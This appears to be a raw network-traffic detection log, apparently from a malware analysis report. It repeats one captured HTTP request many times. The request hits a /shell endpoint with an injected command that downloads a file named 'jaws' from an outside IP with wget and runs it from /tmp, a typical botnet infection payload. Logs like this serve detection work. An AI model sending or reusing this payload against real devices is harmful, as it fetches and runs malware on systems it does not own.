Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
